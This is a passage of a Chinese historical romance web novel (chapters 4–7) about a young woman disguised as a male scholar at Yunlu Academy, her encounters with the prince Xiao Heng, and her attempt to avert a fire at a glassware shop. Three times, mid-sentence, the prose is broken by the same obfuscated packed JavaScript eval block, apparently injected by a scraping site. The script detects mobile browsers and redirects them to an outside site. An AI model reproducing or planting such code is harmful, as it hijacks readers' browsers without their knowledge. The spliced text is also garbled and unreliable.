萧珩径自走入室内，执壶斟了盏清茶。白汽氤氲而起，模糊过于锐利的轮廓。 室内陷入长久的静默。 沈挽棠正欲开口，却听修长指节在紫檀木案上叩了两下，不轻不重。 “过来。” 沈挽棠依言上前，稳住心神：“学生见过宴山先生，误入此地，还请先生恕学生唐突之罪。” 两年前，她曾在宴会上远远见过眼前人。 她垂首，视线落在自己青色衣袍下摆，以及对方绣着银线暗纹的衣角。 这般俯首的姿态，使得一截后颈自领口处无意间显露出来。 肌肤细腻，弧度优美，在晦暗光线下宛若上好的白瓷。 萧珩凤眸缓慢地掠过她低垂的眼睫，最终停驻在那段不堪一折的颈上。 萧珩，字宴山。 这是他鲜为人知的表字，亦是在云麓书院所用的身份。 “说说看，为何会出现在此处？” 随着她的动作，一缕极淡的幽香似有若无飘来。 萧珩端坐未动，眉头几不可察地微蹙。 沈挽棠抬首：“学生听闻先生在此休憩，冒昧前来，是望先生能赐下一张云麓书院的荐帖。学生一心向学，愿入书院，求得真知，明晓大道。” 云麓书院意在广纳贤才，而宴山先生是书院师者。 京城私下皆传，他乃是东宫太子之师。 “哦？”那双凤眸微挑，似笑非笑，“继续。” 沈挽棠眼睫垂下片刻，复又抬起，将备好的说辞娓娓道来。从书院招贤纳士的宏愿，到为国储才的深远意义。 “依你之言，”萧珩声音平淡无波，“书院招贤纳士，最终皆是为太子殿下效力？” 沈挽棠立刻俯身：“学生不敢妄加揣测。学生只知，为江山社稷培育栋梁，乃书院立身之本。” 恰在此时，风动帘帷，那股独特的清浅香气似乎更浓了些。 萧珩的眉头再次蹙起。 他直直看着眼前人：“你与贺云峥，有何冲突？” 沈挽棠心下一沉。 方才那番话果然瞒不过去。 可若是早早识破了她的谎话，为何不一开始就拆穿，反而要听她将这番说辞讲完？ 如同猫儿逗弄爪下的鼠，有些恶劣。 沈挽棠手心沁出薄汗，脸上却浮现恰到好处的窘迫，低声道：“回先生，是学生之过。学生心慕窈娘，故而与贺世子起了些……争执。” “因贺世子屡次一掷千金，独占窈娘之席。而学生亦心慕窈娘已久，一时不忿才如此。” 她硬着头皮继续道：“学生知错，实乃意气用事。但情之所钟，实在难以自控。” 萧珩闻言，竟难得的沉默半晌，似乎发出一声哼笑。 “出去。” 清冷嗓音听不出情绪。 沈挽棠匆匆施了一礼，几乎是即刻转身，快步退了出去。 暮色渐沉，天际最后一缕光被迅速吞噬。 青篷马车内，沈挽棠靠在微凉的车壁上，长舒口气。 迟叔：“姑娘，后面有辆马车，从城里出来便一直不远不落地跟着，看规制，像是京兆府的车驾。” 柳承宗跟来了。 沈挽棠向前倾身：“此时若不回城，可还有别处能暂避？” 迟叔挥鞭动作不停：“眼下唯有前方的云麓书院，近日各地学子涌入京城，车马多是朝那个方向去。我们混入其中，或能暂避耳目。” 后方马车紧追不舍，不能被看出异样。 沈挽棠：“转去云麓书院。” 不多时，云麓书院的轮廓在沉沉的暮霭中显现，飞檐耸峙。 门前两盏硕大的风灯已然点亮，投下暖色光晕。 一位年约五旬、身着青色儒衫的守门夫子，正手持把沉重的黄铜锁，准备合上那两扇朱漆大门。 忽然，远处马蹄声疾。夫子花白的眉毛一抖，循声望去。 来人一身略显宽大的青色学子服，衬得身形清瘦，容貌俊俏。一双明眸在暮色中亮得惊人，只是气息微喘。 “学生拜见夫子，”她嗓音清越，“我乃宴山先生引荐而来，不知此时可否还能入院？” 宴山先生引荐？ 老夫子眼神狐疑，抚须打量：“你说是宴山先生引荐？那你且将荐帖取来与我一观。” 沈挽棠低头翻看行囊，片刻后，露出懊恼之色：“瞧学生这记性，一时匆忙，竟将荐帖忘在家中。如今天色已晚，城门将闭，学生实难往返。不知夫子能否通融，容学生先进去安顿？” 守门夫子目光在她脸上来回巡视。 沈挽棠脸上撑着坦然笑意。 余光里，那辆追来的马车已停在远处树影下，车内人正静静观望。 她再次开口：“夫子若仍不放心，学生愿在此等候，请您遣人询宴山先生一问便知，学生确实与他面议过此事。” 宴山先生那时未明确拒绝，她不算完全扯谎。 况且，她方才在酒楼才见过先生，此刻人定不在书院之内。 许夫子沉吟不定，花白的眉毛紧紧拧在一起，目光在她空荡荡的行囊与诚恳的脸上来回扫视，显然仍不打算放行。 沈挽棠的心一点点沉下去，余光里的马车还在暗暗蛰伏，若不能进去…… 就在此时，一名青衣小厮穿过垂花门快步走来。 他先是对老夫子躬身行礼，又朝沈挽棠颔首，态度明显带着不容错辨的恭敬。 他开口道：“许夫子，天色已晚，让这位学子进来吧，该关门了。” 许夫子花白胡子颤了颤。 他深深看了沈挽棠一眼，侧身让开了路。 他有些不自然地捻了捻胡须，假意咳了两声，目光游移地望向暗沉天色：“嗯，天色确实不早了，再耽搁下去反倒不美。你且先进来吧。” 等人走远，许夫子连连摇头：“宴山先生身边的人亲自来领，看来此人所言非虚。只是先生多年从不徇私，今日竟亲自引荐，当真是稀奇啊，稀奇。” . 入夜，宁远侯府乱作一团。 “人送回定国公府去了吗？” 柳夫人捏着佛珠的指节泛白。 手下战战兢兢：“回夫人，送是送去了。可国公夫人动了大气，连人带礼都给轰了出来，连府门都没让进。” 柳夫人心口猛地一抽。 那些礼品件件价值不菲，是她下了血本精挑细选，如今竟连个响动都没听见就打了水漂，真真是割肉般疼。 她咬着牙道：“这孩子，真是任性，平白得罪了贵人。继续加派人手，务必把她找回来。” 若人找不回来，与国公府联姻无望，此番便是偷鸡不成蚀把米，彻底弄巧成拙。 她兄长的前程，她自己在侯府的倚仗，还能去哪寻这等现成的助力？ 一想到此，心头便如同压了块巨石。 “棠儿当真是好手段，倒是我小瞧了她。”柳夫人像是被勾起了极不愉快的回忆，“她从小便是这般，瞧着不声不响，那心思却比谁都活络，同她娘一模一样！” 冯嬷嬷低声劝慰：“夫人莫要动怒，仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744532|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气坏了身子。二姑娘年纪小，不懂事，总会找到的。” 这时，脸肿得老高的惊蛰被两个粗使婆子拖了进来，重重摔在地上。 柳夫人叹道：“惊蛰啊，我素来待你不薄，信任你，才将这般要紧的事交给你，可你太让我失望了。” 惊蛰半张脸因红肿而扭曲变形，嘴角渗出的血迹蜿蜒而下。 腹部挨的那几下让她五脏六腑都绞着疼，此刻趴伏在地，浑身控制不住地抖如筛糠。 其余家丁也黑压压跪了一片，无人能将二姑娘带回。 冯嬷嬷煽风点火：“夫人，老奴多句嘴，说不定是有人吃里扒外，暗中勾结，否则这么多人，怎么就找不到个大活人呢？” 惊蛰猛地看她，随后拼命磕头，砰砰的闷响在寂静的厅堂里格外刺耳。 “夫人明鉴！奴婢没有，奴婢若是帮助姑娘逃跑，天打雷劈，不得好死！” 她额前很快一片青紫。 柳夫人居高临下地睨着她。 “好孩子，你先前想要的那些，金银、田宅，甚至你一家老小的身契，我本都已为你备下。只等你办好这桩差事，便可安享富贵。”她话音微顿，带着无尽的惋惜，“可惜啊，你让我的一片苦心，都付诸东流了。” 惊蛰吓得瘫软，此刻哪还敢有奢望。 “求夫人开恩，再给奴婢一次机会。”她跪行几步，试图去抓沈夫人的裙角。 柳夫人语气温和：“你的家人，我自会派人好生照料。” 眼看两个粗使婆子要来抓她，惊蛰挣脱：“不！夫人，我不仅知道姑娘的银钱，我还知道姑娘在青州的事，夫人就不想知道吗？” 她眼底骤然亮得骇人，尽是孤注一掷的疯狂。 柳夫人转身的动作忽然顿住。 . 城郊，云麓书院。 辰光熹微，洒满青石院落。 书院为学子备下独立寝居，学舍明亮，虽广纳寒门，一应陈设却毫不寒酸。 沈挽棠换上了学子制服，蓝青交织的襕衫显出身姿清挺，发顶以青玉色发带利落束起。 “前面那位同窗！” 身后忽然有人唤她，沈挽棠驻足回眸。 青衫少年快步追至面前，笑容朗朗，毫不避讳地打量着沈挽棠，好奇问：“你便是宴山先生破例引荐的那位学子？” 沈挽棠眸光微动，面上不显：“阁下是如何得知的？” 少年得意地扬起下巴，拍拍胸膛：“我自有妙计。方才不过稍微逗了守门的许老夫子几句，他便说漏了嘴。” 他随即凑近些，压低声音道：“放心，我陆泽远口风最紧，绝不会到处乱说。” 说罢退后一步，大方拱手：“在下陆泽远，年华十八，往后便是同窗了，还请多多指教！” 沈挽棠拱手回礼：“青州顾时，今年十七。” 前方忽然传来骚动，原本三三两两的学子纷纷朝一个方向涌去。 陆泽远眼明手快拉住一人询问，随即转向沈挽棠：“宴山先生今日竟来书院授课了！” 沈挽棠心头一跳，顺着人群方向望去。 青石径上，萧珩缓步走过。 和煦晨光落在月白的衣袍上，为清冷身形镀了层光晕。他身量极高，肩背挺阔，行动间如有云岚流转起伏，宛如谪仙临世。 周遭学子无不伸颈瞩目，屏息静气，只想一睹先生清绝风仪。 可他所经之处喧哗退去，学子们纷纷垂首避让。 沈挽棠早早便低下头，极力规避着所有视线，并不想被注意。 可那道清冷的目光远远掠来，不偏不倚，恰恰在她这个方向停顿一瞬。 沈挽棠屏住了呼吸。 5. 第 5 章 微风拂过廊下，吹动沈挽棠束发的青玉色发带。 她碾碎脚边的一颗小石子。 先前在先生面前扯过谎，如今更是谎称拿着他的荐帖才得以入院，加之不能被窥破的女子身份…… 沈挽棠不敢再想下去。 人潮渐渐散去，陆泽远夸张的揉了揉肚子，恰到好处的咕噜声打破沉寂。 见人一直垂着头，陆泽远撞撞她的肩膀，笑嘻嘻道：“顾兄，还发什么愣呢？先生早走远了，走，咱们吃饭去！” 沈挽棠这才抬头，那道迫人身影已然消失，长长松了口气。 看来，先生并未留意到她这个不起眼的学子。 顾时这个身份，是她在青州时，外祖父为方便她行事而取的名字。 换上这身男装，虽需时时谨慎，却也挣脱了许多无形枷锁。 她的外祖父，曾是朝中工部官员，精通水利营造，后辞官归隐，一心沉醉于木艺匠心。 外祖父家算得上清贵文臣门第，膝下仅有一女一子。女儿顾青竹便是她早逝的母亲，而她的舅舅顾青玄，则考取功名后回到了青州为官。 月华如水，漫入重重绮梦。 暗涌潮汐漫过界限，不知疲倦。 雪白皓腕无力垂落，旋即被另一只有力的大手握住，十指紧扣交缠。 灼热烙印在无声蔓延，她神思涣散，如同濒水的蝶翼。 强势气息再度逼近，带着不容抗拒的压迫。 纤柔背脊抵上冰冷榻沿，再无退路。 …… 冰凉的水珠自额发滚落，滑过沈挽棠发烫的脸颊，却不能缓解耳根处不正常的灼热。 昨夜荒唐的梦境，清晰得令人心惊。 那双深邃的凤眸，紧抿的薄唇，还有那具在月白衣袍下充满力量的强悍身躯。 那张脸，赫然是素日里清冷如玉、令人不敢有半分亵渎的宴山先生。 实在荒唐！ 沈挽棠猛地闭上眼，又掬起一捧冰冷的井水拍在脸上，试图驱散让人面红耳赤的场景。 可那触感和气息，那迫人的灼热，像是真切地烙印在每一寸肌肤上，一寸一寸，将她彻底吞噬。 沈挽棠的睫羽浸润水珠，一股混着羞耻的热流在四肢百骸横冲直撞。 房门砰砰作响，陆泽远活力十足的声音穿透门板传来：“顾兄你醒了没？你动作快些！好心一大早来叫你，第一节课是怀宴先生亲授，去晚了怕是连门槛都挤不进去了！” 讲堂内人声沸扬，座无虚席。 沈挽棠被硬拉过来，意识飘忽。她试图起身：“我今日有些不适，要不就先回去休息。” 陆泽远按下她的肩膀：“哎呀，有什么不适的！听先生一堂课，包你百病全消。你瞧，大家都在期待上先生的课。” 周身学子们低声交谈。 “你们说，怀宴先生是太子太傅这事儿，究竟是不是真的？” “我舅父在宫里当差，曾见过先生与太子殿下在一处下棋，瞧得真切！若能得先生青眼，岂不是等于攀上了通天的阶梯？” “正是正是，这可是千载难逢的机会啊！” 陆泽远：“还好我眼疾手快，才带你寻得这处靠前的位置坐下，我知道你感激我，不过顾兄跟我之间，无需言谢。” 沈挽棠只得报以苦笑。 陆泽远忽然凑近，认真看了看她：“顾兄，你的脸为何这般红，莫不是真的生病了？” 沈挽棠顺势掩唇轻咳，声音放低：“许是昨夜受了些风寒。” 陆泽远顿时担心起来：“既然如此，莫不如回去休息？纵使可惜，日后总还有机会。” 沈挽棠压下心头窃喜，却面露憾色：“着实可惜……” 她离去的脚步尚未迈出，便听得前方一声通传：“先生到了！” 萧珩端坐上方，凤眸淡淡扫过众人，目光掠过那个恨不得将头埋进地里的身影。 这般鸵鸟姿态，与那日胆大包天谎称受荐时判若两人。 他眼底掠过一丝极淡笑意。 “江州近日水患肆虐，灾情严峻。诸位既入云麓书院，胸怀济世之志，对此可有良策？” 萧珩声音不大，却清晰传入每个人耳中。 方才还窃窃私语的讲堂，顿时陷入一片死寂。 江州水患乃是百年痼疾，朝廷多年来派遣能臣干将都未能彻底解决，他们这些初出茅庐的学子又能如何？ 众人面面相觑，甚至下意识地缩缩身子。 陆泽远抓耳挠腮，却下意识看向身旁的顾时，用手肘轻轻碰她：“别愣神了，先生正在提问，可问的是江州水患，着实有些太难了。” 沈挽棠并非出神，而是回忆梦境。 她曾提早见过江州水患。 萧珩目光沉静地扫过沉默的众人，最终，停在她身上。 知道再躲无益，沈挽棠鼓足勇气抬头。 四目相对，沈挽棠似是看到他唇边掠过一丝极浅的笑意。 身旁的陆泽远看到这一幕，心下暗道，守门的许夫子果然没骗他。 宴山先生对顾兄，当真有些不同。 萧珩目光淡淡移开，停在了她身旁：“你来回答。” 刹那间，所有目光齐刷刷投向陆泽远。 不少学子暗暗松了口气，露出庆幸的神色，甚至有人忍不住窃窃私语：“这下可有好戏看了……” 陆泽远整个人都傻了。 他如遭雷击，面容呆滞少许，才垮着脸站起来，支支吾吾道：“呃，学生认为、认为……” 他脑中一片空白，只得拼命搜刮那些老生常谈的筑堤固坝之策，都是前人早已实施过却收效甚微的办法。 他越说越心虚，越说越慌乱，最终颓然道：“先生，此题对学子而言着实太难，学生不会。” 萧珩并无苛责，只淡淡道：“坐吧。” 陆泽远跌坐后，长舒口气，抬袖擦掉额角的冷汗。 讲堂内响起阵压抑的轻笑，众人交换着果然如此的眼神。 “先生这题，着实是超纲了。” “如今看来，怕是在场无人能解喽。” 众人都认为先生不会再追问，气氛一时轻松许多。 陆泽远小声抱怨：“我怎么这般倒霉，头一个就被逮住。” 沈挽棠安慰：“或是先生见你风采卓绝，才特意点拨……” 话音未落，那道清冷的嗓音再度响起，如冰珠坠入寒潭。 萧珩目光越过众人，准确无误地再次落在她身上。 “顾时，你来。” 讲堂内响起一阵细微的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744533|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骚动。 方才还在庆幸的学子们此刻纷纷投来视线，有人毫不掩饰地低笑出声。 “这位瞧着面生，怕是连问题都未听清。” “且看他如何出丑，能说出什么花来，这热闹倒是好看。” 所有的视线再次聚焦，比之前更为灼人，充满了等着看笑话的恶意。 陆泽远将头深深埋下去，用气音道：“顾兄，看来先生也觉你风采卓绝啊。” 沈挽棠深吸口气，硬着头皮站起身。 对上萧珩视线的瞬间，脸颊不受控制地微微发烫。 周遭安静得可怕，连窗外的风声都清晰可闻。 她稳住心神，将梦中那些江州支离破碎的片段与外祖父曾教导的水利知识迅速整合，勾勒清晰脉络。 她缓声开口：“学生浅见，目前采取的固守筑坝之策，或可转为因地制宜的分流导引之法。” 清越嗓音在寂静的讲堂中格外清晰。 台下又是一阵哗然，几个学子忍不住交头接耳，面露讥诮。 “分流？说得轻巧！” “这想法也太过天真，江州地势特殊，这怎么可能？” 沈挽棠不在意他人议论，只看向萧珩。 萧珩眉梢几不可察地微挑，并未出言打断，那神情像是示意她继续说下去。 她鼓起勇气，将脑海中清晰的方案娓娓道来。 她谈及利用江州特有的丘陵谷地构建分流渠网，以减轻主河道压力，而非一味加高堤坝与洪水抗衡。 她甚至提到了几个关键的地理位置，让几个熟知地理的学子骤然坐直了身体，脸上露出惊疑不定的神色。 先前还带着嘲弄神情的学子们，此刻都呆住了，看她的眼神仿佛在看一个突然横空出世的怪物。 待她言毕，微微抬眸。 整个讲堂鸦雀无声，落针可闻。 窗外恰有一阵清风自窗外吹来，轻柔地撩动她额前碎发，青玉色的发带也随之拂动。 她如玉的肌肤仿佛晕着一层薄光，长睫低垂，在眼睑处投下淡淡的阴影，更衬得鼻梁秀挺，唇色淡樱。 萧珩似乎又闻到了那缕若有似无的冷香。 他眸光平静，却又带了深沉的审视。 沈挽棠眼睫轻颤，垂下视线。 或许，她说得太多了。 . 云麓书院门禁森严，平日学子不得随意出入。 书院回廊两侧种满修竹，风过时，竹叶摩挲。 沈挽棠快步穿行，脑海中反复浮现那道穿透人心的目光。 书院绝非久留之所，必须尽快寻到机会出去。 “顾兄，顾兄留步！”陆泽远的声音自后方传来，“我真不知你对治水之道竟有如此见地，连灾民安置这等细处都思虑周详！” 沈挽棠脚下未停。 周围亦有几个学子慢下脚步，好奇地望过来。 陆泽远快步跟上，兴致勃勃道：“顾兄，等过几日休沐进了城，我作东，咱们去清风楼！你想吃什么随便点，权当为你压压惊！” “进城？”沈挽棠脚步一顿。 陆泽远见她终于有了反应，得意扬起下巴。 “每位新入学子都领了项紧要课业，撰写治水策论，那肯定得实地勘察。总之，得出门！” 6. 第 6 章 针对江州水患，朝廷已下发文书，广征良策。 云麓书院亦派遣学子分赴京畿各处，实地调研河道水情。 四月十五，卯时。 云麓书院门前车马喧腾，学子们按事先分作数队，奔赴不同河道。 西郊水河畔，沈挽棠做事极为专注，测量、观察、笔录，一丝不苟，却效率惊人。别的组还在勘测，她已与陆泽远到了清风楼内。 作为此间常客，陆泽远派头十足。 他被人殷勤引入雅间，很快便喝得兴致高涨，神思飘然。 沈挽棠趁机离席，接过迟叔的包裹，迅速褪下那身显眼的学子襕衫，换上寻常女子裙衫。 雅间内，陆泽远虽已半醉，却还残存一丝清醒，左右看了看不见人影，嘟囔着：“顾兄去更衣，为何许久不归？” 说罢，竟摇晃着起身，执意出来寻人。 他步履蹒跚，瞥见前方一道浅色身影，轮廓莫名透着股熟悉感。他含糊喊道：“顾兄，是你吗？怎的不理我……” 前方那人闻声，脚步愈发急促。 陆泽远借着股酒劲，大步追上，一把抓住了对方的手臂，将人扳转过来。 可映入眼帘的，却是一位以轻纱覆面的女子。 她微微屈膝，行了一礼。 陆泽远醉眼朦胧，待看清对方面纱，顿时酒醒三分. 他踉跄着后退，脊背撞在身后的廊柱上，慌忙拱手作揖，舌头都有些打结：“抱、抱歉姑娘！是在下眼拙，唐突了佳人，认、认错了人！” 女子并未多言，略一颔首，转身疾步离开。 陆泽远独自僵在原地，揉了揉发胀的额角，还在为方才的失礼懊恼不已。 . 戌时初刻，云起楼二层的雅室终于热闹起来。 静室独占东首，轩窗三面临江，又能将城中各条街巷脉络尽收眼底。 萧珩端坐主位，玄色暗纹常服衬得他眉目愈深，指节在紫檀木案几上规律轻叩，声声敲在众人心弦上。 “臣等，拜见王爷。” 座下诸位深深作揖，声线中压抑着难以自持的激越。 王爷常年坐镇雍城要塞，听闻返京消息时已是心潮澎湃，此刻亲眼得见，更觉喉间哽塞。 能踏入此间的，尽是萧珩在京中经营多年的心腹。 自幼跟随萧珩的秦朔立在一旁。 他承袭其父秦老将军的衣钵与风骨，年纪轻轻便在边关几度出生入死，曾单枪匹马于万军之中斩敌将于马下，其悍勇之名，军中无人不晓。 如今，他是萧珩在军中最倚重的臂膀。 想起病逝的秦老将军，在座诸人心头皆是一沉。 所幸王爷完成了老将军未竟之业，挥师北上，将犯境之敌打得溃不成军，足以告慰英灵。 秦朔率先禀报雍城军务：“临安王手下窜逃的残部已清剿殆尽，其首级悬挂雍城城门三日，以儆效尤。” 话题随即转向宫中。 太子太傅孟樾上前一步：“王爷，太子殿下近来勤勉，学问精进，举止也愈发沉稳。”他略作迟疑，“只是大皇子近日与几位宗室过往甚密，五皇子亦常随行左右。且太后屡次召大皇子入万寿宫叙话，赏赐颇丰。” 座中众人交换了一个心照不宣的眼神。 谁都知晓，太后并非今上生母，与王爷的关系似乎也有微妙。 孟樾心中雪亮，王爷虽面色冷峻，但对太子殿下的关切却做不得假。 接着，卫陵禀报：“王爷，京中诸事已梳理妥当，定国公府的案子也已处置。定国公已将世子鞭笞五十，闭门思过。定国公还绑了人亲自上门赔礼。” 无人参透王爷为何会突然对定国公府发难。 而定国公本人更是如坠云雾，直至归府途中才隐约探知，祸端竟是家中孽子，惊扰了卫指挥使，这才引火烧身。 回府后，定国公当即请了家法，责令孽子闭门思过。 贺云峥挨了打却不反省，而是将一腔邪火尽数倾泻在宁远侯夫人柳氏身上。 这场未成的联姻，给他招来了无妄之灾。 消息传回侯府，柳氏气得指尖发颤，险些捏碎了手中的茶盏。 兄长前几日恨铁不成钢的厉声训斥言犹在耳，斥她连个丫头都拿捏不住，办事不力。 如今倒好，定国公府非但成不了助力，那贺云峥更是在外四处败坏侯府名声，国公夫人更是直接放话，称她柳氏心思不正，欲嫁祸于人，从此两家不必再来往。 真真是偷鸡不成蚀把米，既失了里子，也丢了面子，让她在京城贵妇圈中沦为了笑柄，如何不让她恼恨交加，五脏俱焚！ 萧珩漫不经心把玩着手中杯盏，眸光沉沉。 忽有夜风拂入，搅动一室静谧，带来一缕极熟悉的清浅幽香。 他抬眸望向窗外。 楼下长街人声鼎沸，正是华灯初上的热闹时辰。 街上的沈挽棠走在人群中，忽然心有所感，下意识地仰头望去。 只一眼，便撞进了那双深若寒潭的风眸里。 隔着阑珊灯火，四目相对。 沈挽棠呼吸一滞。 恰在此时，一阵江风穿堂而过，卷起楼内重重纱幔，也掀起她覆面的轻纱一角。 几乎同时，江畔夜空被嘭地点燃，万千烟火轰然绽放。 璀璨流光，岸边百姓阵阵欢呼。 沈挽棠立刻低头，将面纱按紧，朝着预定好的渡口疾步而去。 . 江面被无数花灯点缀，烛光摇曳，漾开朦胧而温暖的光晕。 渡口的船能顺流而下，直抵青州。 过了前方月亮石桥便可登船。 桥上，一对母女牵手而行，欢声笑语随风传来。 沈挽棠脚步不自觉地放缓，尘封的记忆悄然松动。 这样温馨的画面，似乎她也曾拥有过那么一次，极为短暂的、被母亲温热手掌包裹的触感。 可那印象太模糊，模糊得如同水中月影。 红衣小女孩约莫五六岁，头上扎着两个可爱的圆髻，手里举着串亮晶晶的糖葫芦。 她吃得腮帮子鼓鼓，仰起小脸，声音糯糯道：“娘亲，我们去琉璃阁看看好不好嘛？听说这次有西域来的好大好漂亮的灯！” 年轻的妇人弯下腰，指尖温柔地拭去女儿唇角的糖渍，眉眼含笑：“好，都依你。” 琉璃阁。 这三个字如同惊雷，沈挽棠倏然回头。 渡口的船夫朝沈挽棠用力挥手，嗓门洪亮地穿透喧闹：“姑娘！岸上风刀子似的，冻坏了可不是闹着玩的！快上船吧！” 看着那对母女渐行渐远的背影，沈挽棠颤声问：“船家，今日可是……四月十五？” 船夫诧异地看了她一眼，似乎觉得这问题有些多余，但还是答道：“可不是嘛姑娘，今儿个正是四月十五。要不这江上哪来这许多花灯，热闹着哩！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744534|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来真的是十五。” 梦境碎片涌入脑海。 四月十五，琉璃阁，吞噬一切的滔天大火。 船夫双手叉在腰间：“姑娘，你到底还走不走了？” 青州自由近在咫尺，错过此次，下一次机会不知要等到何时。 江风凛冽，吹得她裙衫猎猎作响。 几缕乌黑发丝挣脱了玉簪，在她苍白的颊边拂动。 沈挽棠只觉得周身忽然冷了许多。 最终，她迎着船夫疑惑的目光，清晰道：“船家，对不住，劳您久等。今夜我不走了。” . 琉璃阁，以琉璃器而闻名。 每月十五，它都会展出几件珍品，吸引达不少官显贵和文人墨客前来品鉴。 梦中那场大火，起因正是这批彩绘琉璃灯意外坍塌，引燃了店内大量丝绸，又因人多拥挤，终酿惨剧。 沈挽棠换回学子衣衫，疾步赶至琉璃阁时，已是灯火通明，人声鼎沸。 沈挽棠环顾四周。 阁楼内外挤满了翘首张望的人群，伙计正与几位心急的客人争执不下。 人流如潮，木制楼板在持续的重压下，已发出细微而令人不安的吱呀声。 她目光扫过，随后径直走向一人。 东家钱掌柜正被众人簇拥，满面春风。 他身着团花锦缎袍，一双精明的眼睛笑成了两条细缝，正捻着颌下几缕稀疏的胡须，听着管事报账。 笑意从嘴角直漫到眉梢，俨然一副日进斗金的满足模样。 沈挽棠上前拱手一礼：“掌柜，恭喜今日盛会。然晚辈斗胆，请您立刻加派人手，疏导宾客，稳固展架。” 钱掌柜脸色一沉，尚未开口，旁边的伙计已横眉怒目上前驱赶：“哪里来的穷酸书生，在此胡言乱语，触我们东家霉头！” 沈挽棠不退反进，声音提高了几分，足以让周遭人都听清。 “掌柜可还记得，永昌六年的上元夜，城西珍宝轩的旧事？” 此言一出，钱掌柜脸色突变，捻着胡须的手指猛地一抖，揪下了几根胡须。 周遭几个年长的宾客也纷纷变色。 他们都深深记得，那场因烛火引燃彩绸，最终烧死十多位勋贵子弟、导致东家倾家荡产、牵连者至今未脱囹圄的惨剧。 沈挽棠抓住这一瞬的寂静，语速加快：“当年的珍宝轩亦是如今日这般宾客盈门，亦是人同此心，以为区区小事，何足挂齿。结果如何？” “百年基业，一夕之间化为焦土。前车之鉴，血泪未干。钱掌柜，您这琉璃阁的金字招牌，难道也要步此后尘吗？” 她句句如刀，直刺对方最致命的要害。 原本看热闹的宾客闻言，脸上嬉笑尽去，下意识地后退了半步，不安抬头去看。 钱掌柜冷汗涔涔，理智告诉他这书生所言非虚，可一想到那流水般入账的银钱，随即嗤笑道：“哼，巧舌如簧！危言耸听！你一个……” 话未说完，已被旁人的议论打断。 “看他这身衣裳，是云麓书院的学子！” “对对，这蓝青襕衫，还有发带，确是书院样式无疑！近日确实有许多学子入城。” “原来是云麓书院的高才！”钱掌柜语气稍缓，仍轻蔑道，“哼，即便你是书院学子，也终究是个纸上谈兵的后生，怎懂得我店中实务？我这楼阁结实得很！” 已有伙计撸起袖子上前，准备强行将人拖走。 7. 第 7 章 琉璃阁外灯火不及的角落，静静停着一辆玄黑马车。 马车通体干净，车身以铁力木造就，车辕细微处纹路细密。上方垂落着厚重的玄青缂丝帘，透着股生人勿近的冷肃。 周玉徽撩开车帘，饶有兴致地探头望去，道：“皇叔，里头那个与人争执的，瞧着像是书院的顾学子，似乎遇上了点麻烦。您真不管管？” 萧珩眼睫都未抬一下，恍若未闻。 周玉徽无声轻笑。 若皇叔当真无意，此刻马车早已离去，岂会仍停在此处？ 果然，静默不久后，萧珩低沉的声音响起。 “调一队影卫，着便装于周遭候命。若生乱象，控制火势。” 车帘落下，隔绝外界纷扰。 周玉徽忽的想起从长公主府带出的食盒，方才看热闹忘了。 他兴致勃勃打开，里头是母亲精心准备的各色点心。他拈起块荷花酥，似乎闻到了甜腻香气，刚欲送入口中，便被一记冷眼扫过。 周玉徽动作一僵，猛然记起如今身在何处。 眼前人喜净成癖，莫说在车内进食，就连衣冠上的微尘都难以忍受。 周玉徽讪讪放下点心，赔着笑道：“皇叔恕罪，我这就下车去。” . 琉璃阁二楼，流光溢彩。 乔映月腕上试戴着一只琉璃镯子，镯子通体澄澈，随着手腕转动，能变换不同光泽。 她越看越爱，忍不住反复摩挲。 可等听闻价格，才发觉自己买不起，于是心头窜起一股火来。 “楼下哪里来的穷酸书生，在此大放厥词？” 近来宁远侯府不太平，她的例银也被削减，如今连个镯子都买不起了。 还有往日巴结她的几个手帕交也因国公府一事与她疏远，母亲更是以她言行无状为由将她禁足许久。 今日，她还是借着探望沈婉清的名头，才好不容易出来透口气。 她眼波一转，落到身后安静站着的沈婉清身上，神态娇憨，亲昵地挽上手臂：“大姐姐，我这月手头紧了些，你看这镯子多配我。你先借我些银子周转可好？等下月例银发了，我立刻还你。” 她心下算盘打得精明。 沈婉清是二房嫡女，性子软糯。上次借的她银钱至今未还，沈婉清也从未敢开口要。 沈婉清安静地望了她片刻，声音细弱：“好。” 乔映月唇角勾起得逞笑意。 府里谁不知道，这位大姑娘胆小如鼠，行事总是低眉顺眼。 如今柳夫人掌权，乔映月更无顾忌。 说起来，沈婉清幼时与沈挽棠交好。可自沈挽棠被送往青州再回来，两人好似生分了许多。 乔映月乐于在沈婉清面前找寻优越感。 “对了，大姐姐，”乔映月似想起什么，试探问，“听说二伯母正在为你相看平阳侯家的公子？” 